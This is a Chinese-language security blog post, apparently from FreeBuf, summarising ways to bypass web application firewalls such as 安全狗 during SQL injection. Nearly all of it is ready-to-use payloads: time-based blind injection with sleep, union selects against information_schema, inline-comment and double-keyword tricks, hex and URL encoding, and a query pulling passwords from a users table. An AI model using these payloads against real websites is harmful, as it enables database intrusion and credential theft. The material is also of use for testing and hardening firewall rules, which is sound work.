SQL绕过WAF总结
开冲
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
SQL绕过WAF总结

前言
最近尝试了安全狗、安全卫士,并总结了SQL注入的WAF。如需补充,可在评论区添加。
特殊绕过
过滤空格
%20、%09、%0a %0b %0c %0d %a0 %00 /**/ /*!*/
空格被过滤,括号没被过滤,可以用括号
select(user())from dual where(1=1)and(2=2)
这类型的过滤方法用于time based盲注
id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
大小写绕过
waf绕过关键字select
,使用Select
select * from tp_student where id=1 union select 1,2#
union select只能查询两个表中共同都有的字段,如果一个字段在另外一个表中没有,就会报错
过滤逗号
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'
对于limit可以使用offset来绕过:
select * from news limit 0,1
等价于下面这条SQL语句
select * from news limit 1 offset 0
过滤引号
用到引号为最后的where子句
select column_name from information_schema.tables where table_name="users"
用十六进制过滤,users的十六进制字符串是7573657273
select column_name from information_schema.tables where table_name=0x7573657273
绕过union,select,where
1.常用注释符
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
2.使用大小写绕过
id=-1'UnIoN/**/SeLeCT
3.内联注释绕过
在安全狗apache4.0绕过
用到了版本特性,%23为#,%0a为换行符
mysql特有的内联函数,kali会被执行
对应的,输入的字符小于版本号也会执行
select * from /! %23kali%0a/username;~~~~
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
4.双关键字
id=-1'UNIunionONSeLselectECT1,2,3–-
5.绕狗
在安全狗apche3.5版本,对union select两个字段过滤,可以尝试
union+distinct+select
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)--
/**//*!12345UNION SELECT*//**/
+#uNiOn+#sEleCt
+un/**/ion+se/**/lect
其他
过滤or and xor not
and = &&
or = ||
xor = | # 异或
not = !
注释绕过
过滤=
使用like 、rlike 、regexp 或者 使用< 或者 >
通用绕过(编码)
URLEncode编码,ASCII,HEX,unicode编码
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
等价函数绕过
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 开冲 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
vulnstack靶场:ATT&CK攻击-1
2022-06-27
对Linux提权的简单总结[中]
2022-06-13
[VulnHub]hackdale:2靶场记录
2022-05-19
文章目录